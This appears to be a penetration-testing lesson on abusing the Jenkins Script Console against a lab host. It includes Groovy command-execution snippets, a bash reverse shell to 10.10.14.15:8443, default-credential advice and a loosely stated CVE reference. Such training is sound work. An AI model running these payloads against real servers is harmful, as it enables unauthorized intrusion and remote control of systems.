A structured lesson workspace with readable content, hands-on examples, and a clean path to completion.
Jenkins runs as SYSTEM on Windows more often than not. The Script Console at /script lets any authenticated user execute arbitrary Groovy code in the Jenkins runtime. No vulnerability needed. No exploit. Just access.
Default installations use Jenkins' internal database and don't allow self-registration. But admin:admin still works on a shocking number of internal instances. Some have no authentication at all. During internal assessments, I've found Jenkins wide open more times than I can count.
def cmd = 'id'def sout = new StringBuffer(), serr = new StringBuffer()def proc = cmd.execute()proc.consumeProcessOutput(sout, serr)proc.waitForOrKill(1000)println sout
Paste that into the Script Console at http://jenkins.inlanefreight.local:8000/script. Hit Run. You get uid=0(root) on Linux or NT AUTHORITY\SYSTEM on Windows. Groovy's execute() method spawns a process directly.
r = Runtime.getRuntime()p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[])p.waitFor()
def cmd = "cmd.exe /c dir".execute()println("${cmd.text}")
On Windows, use cmd.exe /c for simple commands. For a full shell, invoke a PowerShell download cradle with Invoke-PowerShellTcp.ps1 or use the Java reverse shell pattern with ProcessBuilder and Socket connections.
CVE-2018-1999002 combined with CVE-2019-1003000 gives pre-auth RCE on Jenkins 2.137 by bypassing script security sandbox during compilation. CVE in 2.150.2 allows code execution via Node.js for users with JOB/BUILD privileges—which anonymous users have by default.
Jenkins is on over 86,000 corporate networks. The Script Console is a feature, not a bug. Your job is finding the instance where someone left admin:admin in place.
Finish the lesson once you have worked through the material. This awards ★ 30 XP.